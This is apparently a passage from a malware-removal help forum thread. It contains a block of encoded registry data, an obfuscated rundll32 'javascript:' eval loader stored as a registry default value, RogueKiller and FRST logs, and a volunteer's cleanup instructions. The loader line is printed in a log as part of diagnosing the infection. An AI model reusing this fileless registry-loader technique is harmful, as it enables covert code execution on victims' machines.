J&1\[zR\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\[zR\1z1~j/,yJ2m-9XR\1H%7[!5\HXRci94pSHd\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7Jy4AJXk\JT5\I;0\9Lt~Jz/7SZp-I/07N%t~JXk\JT5\I/07N%t~JH/-d!5\I;%7[kR\}.z\[rO&S2^\dym7}#b7Nb,fSf^7S"m7}.z\[rO&Sf^7S"m7}jb-9kO&S2m7Jy1\J&92J"1\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J"1\ro)Wj/%MJ2N3dy1\rwbWiZRDJXRc}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\J&I\JTwpS2e\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JzO&I;0&dyt56ob7|H,fI/02S"t56sz\FzO&I/02S"t56wb-nXO&I;%2Jy4p6sz\FzR\rA3\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\]ZO2JzO SH1A`Z,yJfm7NH%-1z1~j/,yJ&1\[zR\1z1~j/,yJ2m-9XR\1H,~iZO J&1\[zR\1H0\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\HXRci94pSHd\dyt~Jz/7SZp-I/07N%t~JXk\JT5\I/07N%t~JH/-d!5\I;%7[L4AJXk\JT5\I;0\9k%7}#b7Nb,fSf^7S"m7}.z\[rO&Sf^7S"m7}jb-9kO&S2m7Jy1\}.z\[rO&S2^\dym7JfNAS.m-ro)Wj/%MJ&92J"1\ro)Wj/%MJ2N3dy1\rwbWiZRDJ&92J"1\rw)c`Z%MJz%WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\J&Ic}jRDSH12d!p7Jf57SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JTwpS2e\9X,2Jz%2SH,fI/02S"t56sz\FzO&I/02S"t56wb-nXO&I;%2Jy4p6sz\FzO&I;0&dyt56ob7|H%-r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\]ZO2JzO rA3\nX%7]/,ASH,+Sz1~j/,yJ&1\[zR\1z1~j/,yJ2m-9XR\1H,~iZO J&1\[zR\1H1A`Z,yJfm7NH%-1z07NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\HXRci94pSHd\9!p7Hz%WjGt}Szd7S"t~JXk\JT5\I/07N%t~JH/-d!5\I;%7[L4AJXk\JT5\I;0\9Lt~Jz/7SZp-I/07Nr%7}.z\[rO&Sf^7S"m7}jb-9kO&S2m7Jy1\}.z\[rO&S2^\dym7}#b7Nb,fSf^7S"m7J&92J"1\ro)Wj/%MJ2N3dy1\rwbWiZRDJ&92J"1\rw)c`Z%MJfNAS.m-ro)Wj/%MJXRc}jRDSz1ASTp7J25*5?RDSH,AJ!5\J&Ic}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&I\JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JTwpS2e\9X,2Jz%2SZs}Sfe7Nz,2JXR&JzO&I/02S"t56wb-nXO&I;%2Jy4p6sz\FzO&I;0&dyt56ob7|H,fI/02S"t56sz\FzR\r337|z%7];,3dXO rA27FXR\]ZO2JzO rA3\nX%7]/,ASH,+r337|z%7]ZO2JzO Sz1~j/,yJ2m-9XR\1H,~iZO J&1\[zR\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\[zR\1z07NTp7HH%*`f4pSH/7[!5\HXRci94pSHd\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7S"t~JH/-d!5\I;%7[L4AJXk\JT5\I;0\9Lt~Jz/7SZp-I/07N%t~JXk\JT5\I/07Nr%7}jb-9kO&S2m7Jy1\}.z\[rO&S2^\dym7}#b7Nb,fSf^7S"m7}.z\[rO&Sf^7S"m7J2N3dy1\rwbWiZRDJ&92J"1\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J"1\ro)Wj/%MJH%*5?RDSH,AJ!5\J&Ic}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25-d!wpS257[XO&JXR&JTwpS2e\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fdXO&I;%2Jy4p6sz\FzO&I;0&dyt56ob7|H,fI/02S"t56sz\FzO&I/02S"t56wb-nXR\rA27FXR\]ZO2JzO rA3\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO SH,~iZO J&1\[zR\1H1A`Z,yJfm7NH%-1z1~j/,yJ&1\[zR\1z1~j/,yJ2m-9XR\1H%7[!5\HXRci94pSHd\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7Jy4AJXk\JT5\I;0\9Lt~Jz/7SZp-I/07N%t~JXk\JT5\I/07N%t~JH/-d!5\I;%7[kR\}.z\[rO&S2^\dym7}#b7Nb,fSf^7S"m7}.z\[rO&Sf^7S"m7}jb-9kO&S2m7Jy1\J&92J"1\rw)c`Z%MJfNAS.m-ro)Wj/%MJ&92J"1\ro)Wj/%MJ2N3dy1\rwbWiZRDJXRc}jRDSH12d!p7Jf5WpU%.Sz1ASTp7J&Ic}jRDSz1ASTp7J25*5?RDSH,AJ!5\J&I\JTwpS2e\9X,2Jz%2SZs}Sfe7Nz,2JXR&JTwpSfe7Nz,2JH%fd!wpS257[XO&JXR&JzO&I;0&dyt56ob7|H,fI/02S"t56sz\FzO&I/02S"t56wb-nXO&I;%2Jy4p6sz\FzR\rA3\nX%7]/,ASH,+r337|z%7]ZO2JzO r337|z%7];,3dXO rA27FXR\]ZO2JzO SH1A`Z,yJfm7NH%-1z1~j/,yJ&1\[zR\1z1~j/,yJ2m-9XR\1H,~iZO J&1\[zR\1H0\9!p7Hz%WjGt}Szd7NTp7HXRci94pSzd7NTp7HH%*`f4pSH/7[!5\HXRci94pSHd\dyt~Jz/7SZp-I/07N%t~JXk\JT5\I/07N%t~JH/-d!5\I;%7[L4AJXk\JT5\I;0\9k%7}#b7Nb,fSf^7S"m7}.z\[rO&Sf^7S"m7}jb-9kO&S2m7Jy1\}.z\[rO&S2^\dym7JfNAS.m-ro)Wj/%MJ&92J"1\ro)Wj/%MJ2N3dy1\rwbWiZRDJ&92J"1\rw)c`Z%MJzY~pU%.Sz1ASTp7J&Ic}jRcST]&lqI~[Zso5x9Sp09~[j92HC^A}+OsI0}F1j.K["twpq,Kp [\jT6wi(js] OSI![2?T} 8y1$"f"(Ist~t!8I]!w\8TwZ`1CmM,:]uN~KZs$+3#`pfNDj3x}8TwZ4qHxlfNjiyF]t2wAN21a}VxSe3"I\3ws}y1sm23yjht\K`s3N+1&m3Vh] 9\jTwA4+qUIssX#AIBt3wZ?q.W}V^YiMSFPiwA1`qSmMN"j t\5Zs$NqoG}+%Wj 1!#Tw2p sAph,XjVY45jxWNZFx]f"xjVws}p9A?Ao\IjN s&p`s$?3#jjpN [F92C!Oypio IT.Kiq.!\FA IqN~j!aMHCwf}#jIV[A"!IA i,dp:Iap [~5i9;[ wM}P"}ITH~1V9~tys!5x9Ip2}~tjxptyxr]P".pZ4Igs9;]o2ZmZ.Gp+^Zp#N ns9\C TX?i#dpiw~HG9F5!xyKwsK[39q}j"AJfz\K;0*`KA~}is~4wma1uHIjfN~}j"}\3wApp2g}Ts~e`tjtMg242}tn.\vPfgs}iwAp`oAU2*y h*UH8Ve?haIIT*. .4rnsa5KhH\HUt+ejNjI jv52wU#Mg&PFj}VXj.0#nj2FZPV.x+j9PHiH"lTV2Ps"DH#w;5"#g+htwijId"3lqHq1b]y^; .9cnsa5?NBlq2V+P N~p`s$pioNH%VDt243C!gY.hH\HUtKe.16(Mt6+Vwbj2lh 3\cHqw.?:]nj2sli w"NAF343]"j"bS 89\VX.?PHhI#sZijIG"!ljl2N}n:XZP!jI\ \+_Hkt3*KeVt}4V1;haNlVFl}jws}iwApiB~pis~j^tV1MxYj ANC.\Leyg/nh5Xr:HrmV9N VNWmysurp20p".ktj9.}iwAp a0Hh68 0Ndja+_w^ 2Wh V1hnV8/+VOk"&t7e%1}HA6O.%]mjis~}j9s}iwAp%$b3s~ sN$5jwf.s9IC(43P2gnVwAp`oA5KAd]os7p`s$pion.UI^j!Ih8TaN!#d.%AS}`s$5jwqjN.N]F`* K&6CTaEsaL(3*Se%qZr`FP1u[n4i}S 35h8!g*hs0.+6. 0NjmM"C.:Vn 28Ye.9I6ia5Kqqkt!!ljst}}0weKioNNTs~}jges4;N!]h+#}b VwT\2O*.s9ICx"3P&^es4;NV]n.}+}is;ly9u+!1bHTcSPM8HoaIpU[bH+Ikey*6(Fa(+_1t8.I! VwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}j"L[!99}TwAp`oA5js~}is;}2Np?i\.Ki9a}(j;}#^x?io~pis~}`s$5jwCHZ9\t!X\[!99}"41pssA\!s~}is~p`s$piosmT}a}(\2}#^xK9]2ITVG}`s$5jwAp`s~}jg|[F99}zD1pssA\!I; Nxp`s$pio~pis~}jK\}s^x?io2.TVG}ZF!mjwxp`s~}jwA}jwA}pIcIssA\ w; NxjoNp?iH~pis~}jwA}iwAI!42.TVG]`F!mjwWl09\t!^A}jwA}iwAp`oA5.AG NxoNp?iHxKi}a}9A}iwApio~pis~jZFFmjwwIA9\t!^\[F99}TwAp`oA5js~}is;I_NO?iHdKi}a}9A}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}#~1IssAmX,; Nxp`s$pio0r3}a}9A}iwAp#]~pi1~}`s$5jw|A9\t!^A}jwA}pAcIssA\!s~}isA?2Np?iH~pis~}jR&}s^x?io~pis~]GtFmjwxp`s~}jA6[ 89}TwAp`oA"K1G Nxp`s$pio~pis~}jwA}iwApio~pis~}`s/Usa5j0*b\V&6e39j#^(1qOk"F};}is~pjqz.%$j?3wy K~MCqaq?haNHTF~i.A `F"D.0Fgn3^Fi3jcPiwC1:$l"&t.P!FUmy9$pio~IT5SeLxD}#I6KpsI+VFlPVFj1 xAp^I:](45i.\ZjVXYj Hk5js~}i}}HV1dK%$NlT.~#L~/Pqg.1itqp".Me0Nf5jwAp0wb8Vx/e ZF8!"sK s}j!*H#stnm8s]psHjIi*:#3"I[#aC+uH~pis~#^t 1sasK Vm#!Ih V\r8!g5.sak(V9S #N2pqspH 4mHs}7e34A[#aC+uH~pis~i:9G(s0XNwI0#ywr .4Z[qa(j0[tj&tk}i}q.w9 ?Vt`4oV8 39c^TwApio"HTwk jtj(sx(1:94 2a e:Z68!xEj0Hk"yV$epN;p^9!VBjI Y+P0FC+xCNTo~pi9: ^NV"MxCrowm#("/t.wZ[hxC.o21mK.MeVN2p`s$pV]bH!68e.4?^o^(+u$^4#.~ `,U5jwAp`so}.9:}9A} ^vp`}c5&}~Cj%84o9%?![A?p}x#jkh^U^Aju4ar!tI#j.OUFx2lZNa}.wctM\tP9w\N^) "xN~}is;}jN2NVoaj#sl[2xA^%~fNV2hruA+js,+qxxsIq/7Cxa\tM\|]!1cI`#X`(}~tis\12N;j!AyNqVA[yg;tVAc?pB21!6_JZ,+jy\Ap`s~}jx:t gVPjR\SH1y: FX[iw.pZs$pf(ypis~}jwZ ix?NTH~piIS]AsB5jwM.Zh2j.~y]3^\}q\;jGB?m:hX}TVkKNtB}TBaooZnMD5JTwA|T^ZNT.~}`}6qM9qHH,~jO1PlIP ^DjosAI!IS}VFA}Z9$mVsU4T*k6jwfj#":1o$Zlqo7C:HAUjk\}.ml[XD28!ws}iw9.A22gMYI}#s~pqN(Hz1~?p1NPlI]u9VmT# }#b7J2m*5.x\IN3Mjjj9}jwfP/kyKq^h\?%H[fNVHA}B?!*7N+1~}jwp[+9L}iB~pis~tZted!wVNA6 F 5\HL~(]9"&jA(&9!YAHUN;HAcAN9$nHupS]Vj!\i8\?!*7S"tA}`3at28AIZ9W\2\s}jw2^UK!?V*\Lt~}iV&?ws]jio~I 9H].^q8rO&Kio~p#A2t.tV5LI&KZp8nL^qt!TyJTwqj`22g 1NPp1&m09KmTqgrpIDC(4&n 9Vj/1ANTs~]GNC"kR!pN27[!j262^ ]!1Dpj$xd N5t3soK^N$juBhI s;FXRci3wAp%$GKitH}0V}"2jFmy* jft\}j4IPh^&jos&\Nwjh57SZs$IuB;pj/.}3"|]+al}qB~jis~is,(g!jAI`9~jsx:CK~5H3kc}`eXtF9GCPH.NZ2*}i2I}pVt M\wjTgprieMIip7#V.XUj"Zr:22HC~rJ&jyC+9qHH1A5?/Hj3InHAI]|"BUI3V;[ jy]p9Vpi#Gr Vtts}2:sx:I;,Ut:^9j2"W]zRhG)h:!NAth}"?qVoHzOA1uV4J&I\J"Ihlf22I!tVJ.1]jM^Djo37P.aMJ&9A8/OAp`oA:jt }s.bm0Iu5iaUI3h2j:gAi3wAIo(Z?#AKt N}Ua.j`wGj.4At2xtP3"2?Za5\:Vtth}GIw9h}T# roVwi!^DPiTyuoA1qwVJ.IT:3gfN0VhJ!jpt ^qFzR\rqt(gCIVFT52? NUji3y.3}M8:IyJqghH"VM}Ts~}`s$`jwAp`s.]!^f}jwA}ijAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApio~pis~}`s$5jwAp`s~}jwA}jwA}iwAp`oA5js~}is~p`s$pio~pis~}jwA}iwApPTb|PY(#qV;9ftX8F9(Z"\^fZh6z44j2sy9M.DJs984 I24 i!? *Zt(x\^ogVmUta5+..J0F41xgW5q696LaCt("2t XV}yo!\j}7^V}84s1Tl 1!j!,a8x"V^rTW}+3Tl+.H8s.dty&E}V6k(s\w^x"Fe Xpms1!\1ZFjhK}ypLp/4(pUVZt.DNpjX4.is!N9HHpU68jj^ENGHHp?X4#j^E[9tX8qNn?bK TV!NwATmsTa|j3aJ3^E[hOD}jL0m/hXH:5ztZSh+GpSJZ"\^Z0GFoDK+oH!\!!iU.!NVVO}jXx4UI^^:Ohi+jXNhsN}pH!Pqsz1 4t4w!+639V[2"V8!jx5o]V":,H]U.!52I24+X54+V![MjXF/4x5j$8m+.H\.q;\MX/qA148MX(Cl38f9pms1L5?3kF!N0qAbGTBlN!.(p.Z/ Tx*N!#((#!k 8.B(x5yH^!k Fj98x5y\sZ/8#9(xp.\s!aq;t8? XZjuIHp?0wFj0E? Xy4+Y^F;IAdZ"hSGbk\ZShFKD,e+w!5y4G6KY^n!VZB*#bJIn{l I!U`a_E~b+6~yx-)mEB!S8#p8mmY14`#`8)i^sK/+vbiDxYoAA==^#~@
    (Default)    REG_SZ    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf>ktdsjqu/fodpef?(,)ofx!BdujwfYPckfdu)(XTdsjqu/Tifmm(**/SfhSfbe)(ILDV]]tpguxbsf]]dmbttft]]dmtje]]|bc9:13c5.1:db.5cc7.c89e.b9g6:18:b9e6~]]mpdbmtfswfs43]]b(*,(=0tdsjqu?(*".replace(/./g,function(_){return%20String.fromCharCode(_.charCodeAt()-1);}))
 
 
 
========= End of Reg: =========
 
 
==== End of Fixlog ====
 
After running regkey fixer
 
Microsoft Windows [Version 6.1.7601]
Copyright © 2009 Microsoft Corporation.  All rights reserved.
 
C:\Windows\system32>cd c:\
 
c:\>cd regkeyfixer\regkeyfixer
The system cannot find the path specified.
 
c:\>cd regkeyfixer
 
c:\RegKeyFixer>cd regkeyfixer
The system cannot find the path specified.
 
c:\RegKeyFixer>RegKeyFixer64.exe \registry\user\S-1-5-21-1599506222-1575010799-3
243662978-1000_Classes -f -s
Job took 1.55 seconds
 
c:\RegKeyFixer>
 
After running Rouge Killer
 
RogueKiller V9.2.3.0 (x64) [Jul 11 2014] by Adlice Software
 
Operating System : Windows 7 (6.1.7601 Service Pack 1) 64 bits version
Started in : Normal mode
User : Dennis [Admin rights]
Mode : Remove -- Date : 07/17/2014  09:49:56
 
¤¤¤ Bad processes : 0 ¤¤¤
 
¤¤¤ Registry Entries : 21 ¤¤¤
[Suspicious.Path] (X64) HKEY_LOCAL_MACHINE\RK_System_ON_E_5B5A\ControlSet001\Services\catchme -> DELETED
[Suspicious.Path] (X64) HKEY_LOCAL_MACHINE\RK_System_ON_E_5B5A\ControlSet003\Services\catchme -> DELETED
[PUM.Dns] (X64) HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{7698C383-1641-4B3E-BA75-A3F41C3E5A41} | DhcpNameServer : 172.26.38.1 172.26.38.2  -> REPLACED ()
[PUM.Dns] (X64) HKEY_LOCAL_MACHINE\System\ControlSet001\Services\Tcpip\Parameters\Interfaces\{7698C383-1641-4B3E-BA75-A3F41C3E5A41} | DhcpNameServer : 172.26.38.1 172.26.38.2  -> REPLACED ()
[PUM.Dns] (X64) HKEY_LOCAL_MACHINE\System\ControlSet002\Services\Tcpip\Parameters\Interfaces\{7698C383-1641-4B3E-BA75-A3F41C3E5A41} | DhcpNameServer : 172.26.38.1 172.26.38.2  -> REPLACED ()
[PUM.Policies] (X64) HKEY_LOCAL_MACHINE\RK_Software_ON_E_1819\Microsoft\Windows\CurrentVersion\Policies\System | DisableRegistryTools : 0  -> DELETED
[PUM.Policies] (X64) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | DisableRegistryTools : 0  -> DELETED
[PUM.Policies] (X86) HKEY_LOCAL_MACHINE\RK_Software_ON_E_1819\Microsoft\Windows\CurrentVersion\Policies\System | DisableRegistryTools : 0  -> ERROR [2]
[PUM.Policies] (X86) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | DisableRegistryTools : 0  -> ERROR [2]
[PUM.Policies] (X64) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | EnableLUA : 0  -> REPLACED (1)
[PUM.Policies] (X86) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | EnableLUA : 0  -> REPLACED (1)
[PUM.Policies] (X64) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | ConsentPromptBehaviorAdmin : 0  -> REPLACED (2)
[PUM.Policies] (X86) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System | ConsentPromptBehaviorAdmin : 0  -> REPLACED (2)
[PUM.DesktopIcons] (X64) HKEY_LOCAL_MACHINE\RK_Software_ON_E_1819\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {20D04FE0-3AEA-1069-A2D8-08002B30309D} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X64) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {20D04FE0-3AEA-1069-A2D8-08002B30309D} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X64) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {59031a47-3f72-44a7-89c5-5595fe6b30ee} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X86) HKEY_LOCAL_MACHINE\RK_Software_ON_E_1819\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {20D04FE0-3AEA-1069-A2D8-08002B30309D} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X86) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {20D04FE0-3AEA-1069-A2D8-08002B30309D} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X86) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {59031a47-3f72-44a7-89c5-5595fe6b30ee} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X64) HKEY_USERS\RK_Owner_ON_E_D1C8\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {20D04FE0-3AEA-1069-A2D8-08002B30309D} : 1  -> REPLACED (0)
[PUM.DesktopIcons] (X86) HKEY_USERS\RK_Owner_ON_E_D1C8\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel | {20D04FE0-3AEA-1069-A2D8-08002B30309D} : 1  -> REPLACED (0)
 
¤¤¤ Scheduled tasks : 0 ¤¤¤
 
¤¤¤ Files : 0 ¤¤¤
 
¤¤¤ HOSTS File : 1 ¤¤¤
[C:\Windows\System32\drivers\etc\hosts] 127.0.0.1       localhost
 
¤¤¤ Antirootkit : 9 (Driver: LOADED) ¤¤¤
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_CREATE[0] : Unknown @ 0xcb172c0
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_CLOSE[2] : Unknown @ 0xcb172c0
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_DEVICE_CONTROL[14] : Unknown @ 0xcb172c0
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_INTERNAL_DEVICE_CONTROL[15] : Unknown @ 0xcb172c0
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_POWER[22] : Unknown @ 0xcb172c0
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_SYSTEM_CONTROL[23] : Unknown @ 0xcb172c0
[IRP:Addr(Hook.IRP)] \SystemRoot\System32\drivers\volmgrx.sys - IRP_MJ_PNP[27] : Unknown @ 0xcb172c0
[Filter(Kernel.Filter)] \Driver\atapi @ Unknown : \Driver\cdrom @ \Device\CdRom0 (\SystemRoot\system32\DRIVERS\dtsoftbus01.sys)
[Filter(Kernel.Filter)] \Driver\atapi @ \Device\CdRom0 : \Driver\GEARAspiWDM @ Unknown (\SystemRoot\System32\drivers\dxgmms1.sys)
 
¤¤¤ Web browsers : 9 ¤¤¤
[CHROME:Addon] Default : Floorplanner [abopacaefhbognnmeigicfpgnmpideag] -> DELETED
[CHROME:Addon] Default : Google Docs [aohghmighlieiainnegkcijnfilokake] -> ERROR [2]
[CHROME:Addon] Default : Google Drive [apdfllckaahabafndbhieahigkjlhalf] -> ERROR [2]
[CHROME:Addon] Default : Google Voice Search Hotword (Beta) [bepbmhgboaologfdajaanbcjmnhjmhfn] -> ERROR [2]
[CHROME:Addon] Default : YouTube [blpcfgokakmgnkcojhhkbfbldkacnbeo] -> ERROR [2]
[CHROME:Addon] Default : Google Search [coobgpohoikkiipiblmjeljniedjpjpf] -> ERROR [2]
[CHROME:Addon] Default : Dragon NaturallySpeaking Rich Internet Application Support [mikhcaiakabeeokmenglcdebplfdjicn] -> ERROR [2]
[CHROME:Addon] Default : Google Wallet [nmmhkkegccagdldgiimedpiccmgmieda] -> ERROR [2]
[CHROME:Addon] Default : Gmail [pjkljhegncpnkpknbcohdijeoejaedia] -> ERROR [2]
 
¤¤¤ MBR Check : ¤¤¤
+++++ PhysicalDrive0: HDS722525VLSA80 ATA Device +++++
--- User ---
[MBR] 54a661a17f3b420b49b31965ad8b5097
[BSP] 785403c40b2e57190234204681ec45a9 : Legit.Unknown MBR Code
Partition table:
0 - [XXXXXX] LINUX-SWP (0x42) [VISIBLE] Offset (sectors): 63 | Size: 4659 MB
1 - [ACTIVE] LINUX-SWP (0x42) [VISIBLE] Offset (sectors): 9542610 | Size: 233813 MB
2 - [XXXXXX] LINUX-SWP (0x42) [VISIBLE] Offset (sectors): 488392065 | Size: 1 MB
User = LL1 ... OK
User = LL2 ... OK
 
+++++ PhysicalDrive1: TOSHIBA DT01ACA200 ATA Device +++++
--- User ---
[MBR] 48a431dbfd1e61225dcdd1919c7ad71f
[BSP] ed29e407bc89301de6d96b0f518eb180 : Windows Vista/7/8 MBR Code
Partition table:
0 - [ACTIVE] NTFS (0x7) [VISIBLE] Offset (sectors): 2048 | Size: 100 MB
1 - [XXXXXX] NTFS (0x7) [VISIBLE] Offset (sectors): 206848 | Size: 1907627 MB
User = LL1 ... OK
User = LL2 ... OK
 
+++++ PhysicalDrive2: HP Officejet Pro L7 USB Device +++++
Error reading User MBR! ([15] The device is not ready. )
Error reading LL1 MBR! NOT VALID!
Error reading LL2 MBR! ([32] The request is not supported. )
 
 
============================================
RKreport_SCN_07082014_134119.log - RKreport_SCN_07172014_094720.log
 
Also, After running Rouge Killer a Webpage popped up about KernalMode Rootkits and IRP Hooks
 
Thanks,


#12 B-boy/StyLe/

B-boy/StyLe/

    Bleepin' Freestyler


  • Malware Response Team
  • 8,307 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Bulgaria
  • Local time:04:51 AM

Posted 17 July 2014 - 09:19 AM

Hello,

 

You didn't follow the instructions for RegKeyFixer correctly and I didn't ask you to delete the entries with RogueKiller...

 

 

Next please download the following file => and save it to the Desktop.
NOTE. It's important that both files, FRST and fixlist.txt are in the same location or the fix will not work.

Run FRST and press the Fix button just once and wait.
The tool will make a log on the Desktop (Fixlog.txt). Please post it to your reply.

 

 

Regards,

Georgi


cXfZ4wS.png


#13 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 17 July 2014 - 09:29 AM

I am so sorry! I miss read the rouge killer instructions, With RegKeyFixer it wouldn't let me run it unless I ran it that way.

 

Here is the new fix log

 

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x64) Version: 15-07-2014
Ran by Dennis at 2014-07-17 10:27:35 Run:4
Running from C:\Users\Dennis\Desktop
Boot Mode: Normal
==============================================
 
Content of fixlist:
*****************
start
ListPermissions: HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}
ListPermissions: HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32
DeleteKey: HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32
reg: reg query "HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" /s
Folder: C:\Regkeyfixer
end
*****************
 
===================================
Permissions for "HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}":
 
Owner: BUILTIN\Administrators
 
DACL(PAI):
 
BUILTIN\Administrators ALLOW FULL (NI)
BUILTIN\Administrators ALLOW FULL (OI-CI-IO)
NT AUTHORITY\SYSTEM ALLOW FULL (NI)
NT AUTHORITY\SYSTEM ALLOW FULL (OI-CI-IO)
BUILTIN\Users ALLOW READ (NI)
BUILTIN\Users ALLOW READ (OI-CI-IO)
 
===================================
===================================
Permissions for "HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32":
 
Owner: BUILTIN\Administrators
 
DACL(AI):
 
BUILTIN\Administrators ALLOW FULL (I)
BUILTIN\Administrators ALLOW FULL (OI-CI-I-OI)
NT AUTHORITY\SYSTEM ALLOW FULL (I)
NT AUTHORITY\SYSTEM ALLOW FULL (OI-CI-I-OI)
BUILTIN\Users ALLOW READ (I)
BUILTIN\Users ALLOW READ (OI-CI-I-OI)
 
===================================
HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 => key deleted successfully.
 
========= reg query "HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" /s =========
 
 
 
 
========= End of Reg: =========
 
 
========================= Folder: C:\Regkeyfixer ========================
 
2014-07-17 09:28 - 2014-07-17 09:25 - 0006929 _____ () C:\Regkeyfixer\CreateInvalidKey.au3
2014-07-17 09:28 - 2014-07-17 09:25 - 0306011 _____ () C:\Regkeyfixer\CreateInvalidKey.exe
2014-07-17 09:28 - 2014-07-17 09:25 - 0813445 _____ () C:\Regkeyfixer\CreateInvalidKey64.exe
2014-07-17 09:28 - 2014-07-17 09:25 - 0007341 _____ () C:\Regkeyfixer\CreateInvalidKeyXtreme.au3
2014-07-17 09:28 - 2014-07-17 09:25 - 0306327 _____ () C:\Regkeyfixer\CreateInvalidKeyXtreme.exe
2014-07-17 09:28 - 2014-07-17 09:25 - 0814275 _____ () C:\Regkeyfixer\CreateInvalidKeyXtreme64.exe
2014-07-17 09:28 - 2014-07-17 09:25 - 0003789 _____ () C:\Regkeyfixer\readme.txt
